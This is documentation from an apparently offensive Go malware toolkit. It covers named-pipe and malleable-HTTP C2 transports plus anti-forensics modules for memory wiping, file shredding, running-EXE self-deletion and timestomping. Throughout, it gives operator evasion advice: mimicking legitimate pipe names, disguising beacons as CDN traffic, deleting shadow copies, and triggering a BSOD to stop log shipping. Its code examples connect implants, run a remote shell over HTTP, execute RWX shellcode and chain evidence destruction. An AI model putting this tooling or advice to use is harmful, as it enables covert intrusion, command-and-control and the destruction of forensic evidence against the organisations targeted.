What this does NOT achieve:

  • Local pipes are visible to local-host telemetry — Sysmon EID 17/18 (named-pipe create / connect) catches every pipe op. EDRs match on suspicious-process / suspicious-pipe combinations. Use random-looking pipe names to dodge static rules.
  • SMB requires authentication — you need valid credentials for the target host, OR an existing logon session that carries them. Lateral movement prerequisite.
  • No encryption of pipe content — wrap your payload with crypto if a host-local packet capture (Wireshark with NPF driver) is in scope.

Primer

Most C2 traffic leaves the host over TCP / HTTP, where firewalls and NIDS inspect every packet. Windows named pipes are an on-host IPC channel that the OS uses constantly — SMB, RPC, the print spooler, LSASS, every COM out-of-process server. Two processes communicating over a pipe leave zero network artefacts; cross-host pipes (over the SMB redirector) leave SMB session-auditing entries that look identical to legitimate file-share use.

The package implements both sides:

  • Listener (namedpipe.NewListener(name)) — server-side, accepts agents on \\.\pipe\<name>.
  • Transport (namedpipe.New(name, timeout)) — client-side, connects to either \\.\pipe\<name> (local) or \\<host>\pipe\<name> (cross-host SMB).

Either side plugs into the rest of the C2 stack: c2/shell takes a Transport, c2/multicat takes a Listener.

How it works

sequenceDiagram
    participant Server as "namedpipe.Listener"
    participant NP as "\\.\pipe\c2agent"
    participant Client as "namedpipe.Transport (implant)"

    Server->>NP: CreateNamedPipe (instance 1)
    Server->>NP: ConnectNamedPipe (block)
    Client->>NP: CreateFile(\\.\pipe\c2agent)
    NP-->>Server: client connected
    Server->>Server: spawn next instance (CreateNamedPipe)
    Server->>Server: ConnectNamedPipe (block)
    par bidirectional I/O
        Client->>NP: WriteFile (stdin)
        NP-->>Server: ReadFile
        Server->>NP: WriteFile (stdout)
        NP-->>Client: ReadFile
    end

Each Accept returns a connected pipe instance; the listener immediately spawns the next instance so subsequent clients do not block.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/transport/namedpipe is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple (local IPC)

Server (operator's relay tool on the same host):

ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
conn, _ := ln.Accept(context.Background())

Implant:

p := namedpipe.New(`\\.\pipe\c2agent`, 5*time.Second)
_ = p.Connect(context.Background())
_, _ = p.Write([]byte("hello"))

Composed (lateral SMB pipe)

Server on OPERATOR-HOST:

ln, _ := namedpipe.NewListener(`\\.\pipe\lat-c2`)

Agent on a different domain-joined host (with credentials to reach the share):

p := namedpipe.New(`\\OPERATOR-HOST\pipe\lat-c2`, 30*time.Second)
_ = p.Connect(context.Background())

The Windows SMB redirector tunnels the pipe over tcp/445. To NIDS this looks like an SMB session; a typical defender focused on web / TLS traffic does not parse SMB content.

Advanced (named-pipe shell + multicat)

Operator side combines multicat with the pipe listener:

import (
    "context"

    "github.com/oioio-space/maldev/c2/multicat"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/c2/transport/namedpipe"
)

ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
adapter := transport.WrapNetListener(ln) // expose as transport.Listener
mgr := multicat.New()
go mgr.Listen(context.Background(), adapter)

Implant uses the same pipe transport on the agent side via c2/shell.New.

Complex (pipe + named-pipe ACL hardening)

Production pipe servers need an explicit SecurityDescriptor so unprivileged code on the same host cannot connect. The package's default DACL allows Everyone for ease of testing — overwrite it before exposing across hosts. Refer to c2/transport/namedpipe/listener_windows.go for the exact SECURITY_ATTRIBUTES shape.

See ExampleNewListener in namedpipe_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
Pipe \\.\pipe\<custom-name> opened by an unusual processSysmon Event 17/18 (PipeCreated / PipeConnected) — most defenders are not subscribed by default
Pipe name not matching common services (spoolss, lsass, wkssvc, srvsvc, …)Hunt rules — pick a name that mimics a legitimate service to blend
Cross-host SMB session to \\target\pipe\<name>Windows Security Event 5145 (file-share access) when audit policy is set
Pipe acting as full-duplex shell I/O channelBehavioural EDR rules (rare; the high signal is the pipe + child process pairing)

D3FEND counters:

  • D3-NTA — SMB-traffic profiling.
  • D3-OTF — egress filter blocking outbound tcp/445 outside expected fileservers.

Hardening for the operator: name the pipe to mimic a legitimate service (e.g. \\.\pipe\spoolss-<rand>); set a strict DACL that only the implant's user can connect to; lateral SMB pipes assume tcp/445 is open between hosts — verify before relying on the technique.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1071.001Application Layer Protocol: Web Protocolspipe over SMB lateral pathD3-NTA
T1021.002Remote Services: SMB/Windows Admin Shareswhen bound across hosts via SMB redirectorD3-NTA

Limitations

  • Windows-only. No Unix-domain-socket fallback in this package.
  • DACL defaults are permissive. Override SECURITY_ATTRIBUTES on the listener before exposing across users.
  • SMB pipe needs tcp/445 connectivity between hosts; many segmented networks deny it.
  • Bidirectional only. No half-duplex / shared-channel mode.

See also

Malleable HTTP profiles

← c2 index · docs/index

TL;DR

Wrap any HTTP transport in a profile that shapes traffic to look like benign web activity: GET to plausible CDN-style URIs, custom headers (Referer, Accept), real browser User-Agent, optional data encoders. A network analyst inspecting the wire sees jQuery downloads, not C2 callbacks.

You want…UseEffect
Cover beacon traffic as benign HTTPwrap any c2/transport HTTP path with a profileURLs / headers / methods all match the profile shape
Use a Cobalt Strike-style profile you already haveparse + load via Profile structOne profile drives both inbound + outbound shaping
Encode beacon data into a header / cookie / body chunkconfigure DataEncoderBeacon bytes look like base64 session ID / form data / etc.

What this DOES achieve:

  • HTTP-structure cover, not just TLS encryption. Even TLS-terminating proxies see plausible URLs, headers, and request rhythms.
  • Composable: works with any HTTP transport (TLS / uTLS / raw HTTP for testing).
  • One profile per campaign — defenders that fingerprint campaign A's profile don't automatically catch campaign B if you swap.

What this does NOT achieve:

  • Doesn't hide that you're beaconing — request frequency is observable even with perfect shape. Configure jitter + large intervals; pair with evasion/sleepmask to keep the implant invisible BETWEEN beacons.
  • Profile freshness — popular profiles (CS Malleable defaults, public OST configs) are signature-fingerprinted by AV / EDR vendors. Custom-build per engagement.
  • No JA3/JA4 cover — that's the TLS layer. Combine with uTLS via c2/transport.

Primer

TLS encrypts payload bytes; it does not hide HTTP structure. Network analysts who terminate TLS at a corporate proxy (or just see flow metadata) still observe URL paths, request frequencies, header sets, and body sizes. A reverse shell that hits /api/data every five seconds is trivially clusterable.

Malleable profiles steal a trick from Cobalt Strike: shape the C2 into HTTP requests that look like ordinary web traffic. The profile holds:

  • GetURIs — list of URI patterns for data retrieval. The transport rotates through them. Examples: /jquery-3.7.1.min.js, /static/css/bootstrap.min.css.
  • PostURIs — same for data submission.
  • Headers — custom request headers (Referer, Accept, Cache-Control).
  • UserAgent — pinned User-Agent string. Pair with useragent for randomised real-browser UAs.
  • DataEncoder / DataDecoder — optional transforms applied to payload bytes before the request body is built / after the response body is parsed. Lets the operator wrap C2 in (e.g.) a fake JSON envelope, hide it inside an image-shaped blob, or further encrypt on top of TLS.

How it works

sequenceDiagram
    participant Sh as "c2/shell or stager"
    participant Mal as "Malleable transport"
    participant CDN as "Operator handler (looks like CDN)"

    Sh->>Mal: Write([]byte("ls /etc"))
    Mal->>Mal: DataEncoder(bytes)
    Mal->>CDN: GET /jquery-3.7.1.min.js<br>Referer: https://docs.example/<br>User-Agent: Chrome/124
    CDN-->>Mal: 200 OK + payload-as-jquery
    Mal->>Mal: DataDecoder(body)
    Mal-->>Sh: Read → []byte("/etc/passwd contents")

The handler on the operator side accepts requests on the same URIs and responds with the next chunk. With realistic timing (jitter, sleep) the traffic is indistinguishable from a slow CDN page-load.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/transport is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/transport"
)

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js", "/popper.min.js"},
    PostURIs:  []string{"/api/v2/telemetry"},
    Headers:   map[string]string{"Referer": "https://docs.example/"},
    UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) AppleWebKit/537.36 Chrome/124",
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())

Composed (pair with the useragent package)

import (
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/useragent"
)

db, _ := useragent.Load()
ua := db.Filter(func(e useragent.Entry) bool { return e.Browser == "Chrome" }).Random()

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js"},
    UserAgent: ua.UserAgent,
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())

Advanced (encoder pair — wrap C2 in a fake JSON body)

import (
    "encoding/base64"
    "fmt"
)

profile := &transport.Profile{
    PostURIs: []string{"/api/v1/events"},
    DataEncoder: func(b []byte) []byte {
        return []byte(fmt.Sprintf(`{"event":"page_view","payload":%q}`,
            base64.StdEncoding.EncodeToString(b)))
    },
    DataDecoder: func(b []byte) []byte {
        // Parse JSON, base64-decode payload, return raw bytes.
        // Implementation omitted.
        return decodeJSONPayload(b)
    },
}

Complex (full chain — uTLS + cert pin + malleable + shell)

import (
    "crypto/tls"
    "net/http"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

httpTr := &http.Transport{
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js", "/bootstrap.min.css"},
    PostURIs:  []string{"/api/v2/metrics"},
    UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) Chrome/124",
    Headers:   map[string]string{"Referer": "https://docs.example/"},
}
tr := transport.NewMalleable("https://cdn.example.com", 10*time.Second, profile,
    transport.WithTLSConfig(httpTr))

sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

OPSEC & Detection

ArtefactWhere defenders look
Identical URI in every C2 cycleNIDS clustering — rotate through GetURIs and randomise
Stale User-Agent stringsDefenders periodically refresh "real browser UA" lists; pair with useragent for fresh entries
Referer always identical or absentBehavioural NIDS; vary the Referer per cycle if possible
POST/GET ratio mismatched with cover content (e.g. constant POSTs to a "static asset" URI)Heuristic — match GET/POST distribution to the cover content
Body size patterns (every request exactly 32 KB)Add randomised padding inside DataEncoder
TLS handshake fingerprintPair with uTLS via WithTLSConfig + a uTLS-backed *http.Transport

D3FEND counters:

  • D3-NTA — content + header analysis on TLS-terminated traffic.
  • D3-FCR — YARA-like rules on response bodies.

Hardening for the operator: keep GetURIs plausible and rotate; choose a cover that matches the operator endpoint's hostname (a CDN-shaped FQDN paired with /jquery-*.min.js is believable; /api/data is not); randomise jitter at the shell layer.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1071.001Application Layer Protocol: Web ProtocolsHTTP traffic shapingD3-NTA

Limitations

  • No bidirectional streaming. HTTP is request/response. The shell layer batches I/O into discrete chunks.
  • Body size cap. Some CDNs / proxies truncate at 1–10 MB. Chunk large transfers across multiple requests.
  • Encoder/decoder discipline. Profiles are operator + implant pairs — both sides must agree on DataEncoder / DataDecoder.
  • No malleable C2 profile DSL. This package implements the primitives; defining a Cobalt Strike-style .profile DSL parser is out of scope.

See also

Cleanup techniques

← maldev README · docs/index

On-host artifact removal and anti-forensics primitives applied at the end of an operation. Each package targets one specific class of artifact (file on disk, memory region, NTFS timestamp, service registration, in-memory state). Compose them as the implant tears itself down.

TL;DR

A typical end-of-mission chain: memory.WipeAndFree keys → timestomp any artefacts you can't delete → wipe.File what you can → service.HideService or unregister → selfdelete.Run (or bsod.Trigger if egress is critical).

Where to start (novice path):

  1. memory-wipe — applies during the operation (not just at end). Wipe keys / decrypted bytes as soon as you're done with them.
  2. self-delete — most common end-of-op cleanup. Drop the running EXE from disk while the process keeps executing.
  3. wipe + timestomp — pair when you can't delete (loaded library, reference held by another process).
  4. ads — for stashing payloads / state during ops, not just cleanup.
  5. bsod — last-resort kill switch only. Destructive + irreversible.

Packages

PackageTech pageDetectionOne-liner
cleanup/adsads.mdquietNTFS Alternate Data Streams CRUD
cleanup/bsodbsod.mdvery-noisyTrigger BSOD via NtRaiseHardError — last-resort kill switch
cleanup/memorymemory-wipe.mdvery-quietSecureZero / WipeAndFree / DoSecret for in-process secrets
cleanup/selfdeleteself-delete.mdmoderateDelete the running EXE via NTFS ADS rename + delete-on-close
cleanup/serviceservice.mdnoisyHide a Windows service via DACL manipulation
cleanup/timestomptimestomp.mdquietReset $STANDARD_INFORMATION MAC timestamps
cleanup/wipewipe.mdquietMulti-pass random overwrite then os.Remove

Quick decision tree

You want to…Use
…forget keys/credentials still in process memorymemory.SecureZero or memory.WipeAndFree
…make a dropped artefact's mtime match notepad.exetimestomp.CopyFrom
…shred a file before removing itwipe.File (low-volume forensics) or pair it with timestomp
…delete the running EXE and exit cleanlyselfdelete.Run
…terminate the host immediately to stop log shippingbsod.Trigger (last resort)
…hide a Windows service from services.mscservice.HideService
…stash a payload on disk where Explorer can't see itads.Write

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1070Indicator Removalcleanup/memory, cleanup/timestomp, cleanup/wipe, cleanup/selfdeleteD3-RAPA, D3-PFV
T1070.004File Deletioncleanup/wipe, cleanup/selfdeleteD3-PFV
T1070.006Timestompcleanup/timestompD3-FH (File Hashing)
T1529System Shutdown/Rebootcleanup/bsodD3-PSEP
T1543.003Create or Modify System Process: Windows Servicecleanup/serviceD3-RAPA
T1564Hide Artifactscleanup/service, cleanup/adsD3-RAPA
T1564.004NTFS File Attributescleanup/adsD3-FCR (File Content Rules)

See also

Secure memory cleanup

← cleanup index · docs/index

TL;DR

You decrypted your shellcode, used your encryption key, fetched a C2 address. All three are still sitting in process memory until the GC eventually overwrites them — minutes to never. A memory dump in that window exposes everything.

You want to wipe…UseCost
A []byte slice (key, plaintext, decrypted blob)SecureZeroOne pass; compiler-resistant (volatile)
A VirtualAlloc-backed region (shellcode RWX after exec)WipeAndFreeZero + VirtualFree(MEM_RELEASE)
Everything created inside a function scopeDoSecretDefer-style: returned secrets get zeroed automatically when callback exits

What this DOES achieve:

  • Sensitive bytes are zeroed BEFORE control returns to the caller — no GC race, no compiler dead-store-elimination cleverness.
  • For VirtualAlloc'd shellcode regions: zeroed THEN unmapped, so even a kernel-level scanner sees no commit.
  • DoSecret makes the wipe defer-safe — caller can't forget.

What this does NOT achieve:

  • Doesn't wipe the Go heap copystring <-> []byte conversions allocate. If the secret ever lived as a string, some pre-conversion copy may still be on the heap until GC. Avoid string conversions for secrets.
  • Doesn't wipe register / stack residue — values that spilled to the stack during arithmetic stay until the stack frame is overwritten by something else. Acceptable for most threat models; not for nation-state forensic.
  • Crash-dump still wins if it happens BETWEEN secret creation and wipe — keep the window short.
  • Linux: doesn't unmap if you didn't VirtualAllocWipeAndFree is Windows-shaped. Use SecureZero then mmap.Munmap manually for the Linux equivalent.

Primer

After your shellcode runs, its decrypted bytes, encryption keys, and C2 addresses sit in process memory. If the process is dumped — by an analyst, EDR memory scanner, or LSASS-style live snapshot — that data is exposed.

Naïve approaches fail:

  • for i := range buf { buf[i] = 0 } — Go's optimizer happily removes the writes if it sees you don't read the buffer afterwards.
  • copy(buf, make([]byte, len(buf))) — same problem.

Go's clear builtin is treated as an intrinsic the compiler must NOT optimize away. SecureZero wraps it. WipeAndFree adds the VirtualProtect → write zeros → VirtualFree sequence required when the memory came from windows.VirtualAlloc. DoSecret is the experimental Go 1.26 runtimesecret mode: register/stack/heap erasure on function return.

How it works

flowchart LR
    subgraph SecureZero
        BUF["[]byte"] --> CLEAR["clear(buf)<br>(intrinsic, not elidable)"]
        CLEAR --> ZEROED["all bytes 0x00"]
    end
    subgraph WipeAndFree
        VA["VirtualAlloc'd region"] --> PROT["VirtualProtect → RW"]
        PROT --> WRITE["zero loop"]
        WRITE --> FREE["VirtualFree(MEM_RELEASE)"]
    end
    subgraph DoSecret
        FN["func() { … }"] --> RUN["call inside runtime.Secret guard"]
        RUN --> ERASE["registers + stack + heap temps zeroed"]
        ERASE --> RET["return to caller"]
    end

SecureZero is the everyday tool. WipeAndFree is for the post-shellcode RWX page. DoSecret is the new hotness — wrap any sensitive computation unconditionally; without runtimesecret it's a no-op call.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/memory is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

key := crypto.RandomKey(32)
defer memory.SecureZero(key)
// use key …

Composed (with crypto)

plaintext := decrypt(payload, key)
defer memory.SecureZero(plaintext)
defer memory.SecureZero(key)
// run shellcode …

Advanced (post-injection cleanup)

addr, _ := windows.VirtualAlloc(0, size,
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_EXECUTE_READWRITE)
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), size), shellcode)
runShellcode(addr)
_ = memory.WipeAndFree(addr, uint32(size))

Complex (DoSecret for key derivation)

var derived []byte
memory.DoSecret(func() {
    tmp := pbkdf2(password, salt, 100_000, 32)
    derived = make([]byte, len(tmp))
    copy(derived, tmp)
    memory.SecureZero(tmp) // belt + braces while DoSecret-experiment is non-default
})
// derived is the only surviving copy; password / pbkdf2 internals erased on Go 1.26+

OPSEC & Detection

ArtefactWhere defenders look
VirtualProtect(RWX → RW) then VirtualFree(MEM_RELEASE)EDR call-stack inspection — pattern is benign on its own
Process memory scanner finding zeroed pages where shellcode used to bePeriodic memory scanning (hard for blue at scale)
Crash dump captured BEFORE WipeAndFree runsOut of scope for this primitive — guard with defer early

D3FEND counter: D3-PMA (Process Memory Analysis) — defeated by timely cleanup; remains effective when defender captures dump before cleanup runs.

MITRE ATT&CK

T-IDNameSub-coverage
T1070Indicator Removalin-memory variant

Limitations

  • Cannot cover what's already on disk. If a paged-out region was swapped to pagefile.sys, SecureZero doesn't reach the swap copy. Mitigation: windows.VirtualLock the region, then VirtualUnlock + zero before free.
  • DoSecret register erasure requires GOEXPERIMENT=runtimesecret
    • Go 1.26+ + linux/amd64 or arm64. Without these, it's a plain call.
  • Compiler tail-call elision can leak registers across DoSecret scope on certain architectures — confirm with go tool objdump for high-stakes uses.
  • Crash dumps captured before the defer runs include the secrets in plain text.

See also

Secure file wipe

← cleanup index · docs/index

TL;DR

You want a file gone from disk such that PhotoRec / Recuva / ntfsundelete can't recover it. os.Remove only unlinks the directory entry — content stays in unallocated clusters until overwritten. This package overwrites first, then removes.

You want to…UseCost
Wipe a single fileFileOne pass random + remove
Multi-pass for paranoiaFileNN passes — diminishing returns past 1-3
Wipe a directory treeTreeWalks + wipes every regular file

What this DOES achieve:

  • Recovered cluster content is crypto/rand bytes. strings, carve-by-format (PhotoRec), and undelete utilities all see noise.
  • Cross-platform — works on Windows / Linux / macOS without filesystem-specific code.

What this does NOT achieve:

  • SSD wear-levelling makes single-overwrite ineffective — the SSD controller maps logical writes to physical cells via FTL. Your "overwrite" hits a NEW cell; the original cell stays in the wear-leveling pool until garbage-collected. TRIM/discard helps but isn't guaranteed. For high-assurance SSD wipe: secure erase ATA command (out of scope here).
  • Doesn't wipe $LogFile / $UsnJrnl — NTFS journals recorded the file's path + first ~4 KB on create. Forensic carving from journals can recover.
  • Doesn't wipe Volume Shadow Copies — VSS snapshots taken before your wipe still contain the original file. Run vssadmin delete shadows (admin) BEFORE relying on this.
  • Doesn't wipe physical residual magnetism on HDDs — at the platter level, multiple overwrites + slot rotation reduce but don't eliminate. Threat model: nation-state forensic lab. For most ops, single-pass is plenty.

Primer

When you os.Remove a file, the OS unlinks the directory entry but the underlying disk blocks remain readable until reused. Tools like PhotoRec, Recuva, and ntfsundelete walk the MFT and recover those blocks. A multi-pass random overwrite makes the recovered content indistinguishable from random — useful for keys, configs, and any short-lived artefact you want to leave behind cleanly.

The countermeasure isn't perfect: SSDs remap blocks transparently, so overwriting "the same file" may write to fresh cells while the original data sits in the wear-levelling pool until the controller rewrites it. For SSD targets, paired host-level encryption (BitLocker, LUKS) is the real answer.

How it works

flowchart TD
    Open["os.OpenFile(path, RDWR)"] --> Stat["fi.Size()"]
    Stat --> Loop{"pass < N?"}
    Loop -- yes --> Rand["read crypto/rand into buf"]
    Rand --> Write["WriteAt(buf, 0..size)"]
    Write --> Sync["f.Sync()"]
    Sync --> Loop
    Loop -- no --> Close["f.Close() + os.Remove(path)"]

Each pass reads a new random buffer (no buffer reuse — fresh randomness forces the filesystem to actually rewrite blocks rather than dedup identical writes). f.Sync() after each pass forces the page cache to flush to disk.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/wipe is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/cleanup/wipe"

if err := wipe.File("/tmp/secret.bin", 3); err != nil {
    log.Fatal(err)
}

Composed (with cleanup/timestomp)

import (
    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/cleanup/wipe"
)

// Reset parent dir mtime BEFORE wiping the child — otherwise the child
// removal updates the parent dir.
ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, filepath.Dir(target))

_ = wipe.File(target, 3)

// Re-stomp parent (the unlink we just did updated it again).
_ = timestomp.CopyFrom(ref, filepath.Dir(target))

Advanced

End-of-mission cleanup chain:

// 1. Wipe payload droppers
for _, f := range []string{"impl.dll", "loader.exe", "config.json"} {
    _ = wipe.File(filepath.Join(workDir, f), 3)
}

// 2. Reset workdir parent mtime
_ = timestomp.CopyFrom(`C:\Windows\System32\notepad.exe`, filepath.Dir(workDir))

// 3. Self-delete the running EXE
_ = selfdelete.Run()

OPSEC & Detection

ArtefactWhere defenders look
Repeated full-file writes of the same sizeEDR file-IO event aggregation
crypto/rand reads driving large writesRtlGenRandom / BCryptGenRandom event volume
Final unlink eventNTFS $LogFile / Sysmon Event 11

D3FEND counter: D3-PFV (Persistent File Volume Inspection) — file-recovery tooling against journaled filesystems. Mitigates partial overwrites, defeated by complete multi-pass overwrites only on rotational disks.

MITRE ATT&CK

T-IDNameSub-coverage
T1070.004Indicator Removal: File Deletionoverwrite-then-delete variant

Limitations

  • Not effective on SSDs at the physical layer (wear levelling).
  • Not effective on copy-on-write filesystems (ZFS, Btrfs, ReFS) — old blocks survive in the volume's snapshot space until garbage-collected.
  • Filesystem journaling (NTFS $LogFile, ext4 jbd2) may retain metadata copies of file size and name even after the data blocks are overwritten.
  • Antivirus realtime scan may already have copied the file to its scan cache; wiping the original doesn't reach those copies.

See also

Self-deletion (running EXE)

← cleanup index · docs/index

TL;DR

You ran your implant from disk; it's now in memory. You want the disk artefact gone — but Windows holds a handle on the running EXE's image and os.Remove returns "file in use". This package exploits an NTFS quirk to delete-while-running.

You want…UseCompatibility
Modern path (NTFS rename + mark-for-delete)DeleteWin10+
Maximum compat (older Windows)DeleteCompatWin7+
In-memory implant should keep runningBoth work — process keeps executing the mapped imageAll
Want the file to vanish from dir listing immediatelyDelete returns once the rename succeedsn/a

What this DOES achieve:

  • File disappears from disk before the process exits — forensic triage that finds the implant in memory still has nothing on-disk to image.
  • Process keeps running (mapped image stays valid until exit). Implant can finish its work before going down.
  • No external tools, no bat-file delete-on-reboot trick.

What this does NOT achieve:

  • Doesn't wipe filesystem journal entries$LogFile, $UsnJrnl still record the create + delete events. Forensic recovery from these journals can recover the path + first 4 KB of content.
  • Doesn't wipe PrefetchC:\Windows\Prefetch\<exe>-XXXX.pf records every executable run. Pair with cleanup/wipe for prefetch cleanup.
  • NTFS only — the :$DATA rename trick doesn't work on FAT / exFAT / network shares.
  • Doesn't survive reboot of a forensic image — if the attacker takes a disk image BEFORE delete, the file is in unallocated clusters until overwritten.

Primer

Windows holds an open handle on a running EXE's image file (it's mapped into the process). os.Remove on a running EXE returns "in use".

The NTFS quirk this package exploits: every file has an unnamed default data stream :$DATA that holds the file's content. NTFS allows you to rename that default stream to a named stream (e.g. :x). After rename, the file from the kernel's perspective has zero bytes in its default stream — and Windows happily deletes the file even though our process still has its image mapped.

Three other paths exist when ADS isn't workable:

  • RunForce(retry, duration) — same trick, retry loop for transient locks.
  • RunWithScript — drop a .bat file that polls until the process exits, then deletes the EXE. Universal, but the batch script is a signature.
  • MarkForDeletionMoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT). No on-disk write, but the PendingFileRenameOperations registry value retains the artefact until next reboot.

How it works

The ADS-rename path:

sequenceDiagram
    participant Proc as "running .exe"
    participant FS as "NTFS driver"
    Note over Proc: GetModuleFileNameW("C:\impl.exe")
    Proc->>FS: CreateFileW(":x", FILE_RENAME_INFO)
    FS->>FS: rename default :$DATA → :x
    FS-->>Proc: success
    Proc->>FS: NtSetInformationFile(FileDispositionInfo, DeleteFile=TRUE)
    FS-->>Proc: success
    Proc->>FS: CloseHandle()
    FS->>FS: file unlinked from MFT
    Note over Proc: process continues executing from mapped image

Step-by-step:

  1. Resolve own path via GetModuleFileNameW(NULL, …).
  2. CreateFileW(path, DELETE | SYNCHRONIZE, FILE_SHARE_READ|WRITE|DELETE, …, OPEN_EXISTING, …).
  3. SetFileInformationByHandle(FileRenameInfo, ":x") — rename default stream.
  4. SetFileInformationByHandle(FileDispositionInfo, DeleteFile=TRUE) — schedule deletion at handle close.
  5. CloseHandle() — file vanishes.
  6. The process continues; its image stays mapped.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/selfdelete is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

//go:build windows
package main

import "github.com/oioio-space/maldev/cleanup/selfdelete"

func main() {
    defer selfdelete.Run()
    // implant work …
}

Composed (with cleanup/memory)

Wipe in-memory state before disappearing from disk:

defer selfdelete.Run()
defer memory.SecureZero(c2State)
// work …

Advanced (full end-of-mission chain)

defer func() {
    // 1. Reset timestamps so any disk forensic sees a "stale" file.
    _ = timestomp.CopyFrom(`C:\Windows\System32\notepad.exe`, droppedFile)
    // 2. Wipe + delete dropped artefacts.
    _ = wipe.File(droppedFile, 3)
    // 3. Wipe in-memory state.
    memory.SecureZero(stateBuf)
    // 4. Self-delete the running EXE.
    _ = selfdelete.Run()
}()

Complex (RunWithScript fallback)

if err := selfdelete.Run(); err != nil {
    // ADS path failed (FAT volume, locked-down server) — fall back.
    _ = selfdelete.RunWithScript(2 * time.Second)
}

OPSEC & Detection

ArtefactWhere defenders look
FileRenameInfo on a default-stream rename of a running EXESysmon Event 2 (file creation timestamp change) — partial signal
FileDispositionInfo setting DELETE on a running EXESysmon Event 23 (FileDelete)
MFT entry with $BITMAP change (file freed but still in mapping)Forensic-grade MFT analysis
Batch script in %TEMP% (RunWithScript)Sysmon Event 11 + clear signature
PendingFileRenameOperations registry value (MarkForDeletion)Reboot-time analysis

D3FEND counter: D3-FRA (File Removal Analysis) — defeats casual deletion patterns; the ADS-rename variant defeats most file-deletion-watch rules. Hardening: monitor for FileRenameInfo on PE files in writable directories.

MITRE ATT&CK

T-IDNameSub-coverage
T1070.004Indicator Removal: File Deletionself-delete-while-running variant

Limitations

  • NTFS-onlyRun requires ADS support. FAT32, exFAT, ext4 (mounted via WSL), or any mounted SMB share without ADS pass-through fail. Use RunWithScript as fallback.
  • Win11 24H2 (build 26100+)MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) semantics changed; the PendingFileRenameOperations value is still written but kernel-level processing differs. MarkForDeletion may silently fail on this build. Track in docs/testing.md.
  • Defender realtime scan — if the EXE is in a directory with realtime monitoring (anything not in the exclusion list) the rename may trigger an AV scan that holds the handle long enough to fail SetFileDisposition. Use RunForce.
  • Process Mitigation — some EDRs apply Process Mitigation Policy: ProhibitDynamicCode which doesn't affect this primitive directly, but the same EDR likely watches for the unusual rename pattern.

See also

Timestomp

← cleanup index · docs/index

TL;DR

You dropped a file in a system directory and want it to blend in with the OS install timestamps. This package rewrites the file's user-visible timestamps to match a "donor" system file.

You want to…UseNotes
Set timestamps to specific valuesSetTimesThree explicit timestamps in one call
Copy timestamps from another fileCopyFromFullAll four $SI timestamps from donor
Match a chosen System32 binary's timestampsCopyFromFull(donor, target)E.g. \Windows\System32\notepad.exe for "looks installed by Windows"

What this DOES achieve:

  • dir, Get-ChildItem, Explorer, os.Stat all see the spoofed timestamps. Casual triage doesn't notice.
  • Quick alignment — drop a file at 14:32:11, copy notepad's install timestamps, the file appears to be from Windows-install date.

What this does NOT achieve:

  • Forensic-grade tooling defeats this trivially — Sleuth Kit's fls, Plaso's psort, Velociraptor all read the immutable $FILE_NAME ($FN) timestamps too, which user-mode APIs cannot modify. The $SI vs $FN mismatch IS the signature of timestomping.
  • NTFS only$SI/$FN are NTFS concepts. FAT / exFAT / network shares have one set of timestamps, no duality signature.
  • Doesn't hide the create event$LogFile, $UsnJrnl recorded the original create+modify timestamps before the stomp. Forensic recovery from journals catches you.
  • Doesn't help on memory-only artefacts — by definition no on-disk timestamps. This is for dropped files only.

Primer

Every NTFS file has two sets of timestamps:

  • $STANDARD_INFORMATION ($SI) — read by dir, Explorer, os.Stat, GetFileTime. Mutable from user-mode via SetFileTime.
  • $FILE_NAME ($FN) — maintained by the filesystem driver itself. Read by forensic tooling (Sleuth Kit, Plaso). User-mode APIs cannot modify it; only kernel-mode code (e.g. FSCTL_SET_FILE_INFORMATION with the right context) can.

Standard timestomping changes only $SI. Triage tools and AV looking at the four $SI timestamps see the implant as "old". Forensic tools comparing $SI against $FN see the disparity and flag it.

This package handles the user-mode $SI path. To also rewrite $FN, you'd need a kernel driver — out of scope here.

How it works

CopyFrom is the common path: open the reference, read its three timestamps, apply them to the target. Set is the explicit-value path when you want a specific date.

The OS kernel's $FN records remain untouched — that's the gap forensic tools exploit.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/timestomp is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "time"
    "github.com/oioio-space/maldev/cleanup/timestomp"
)

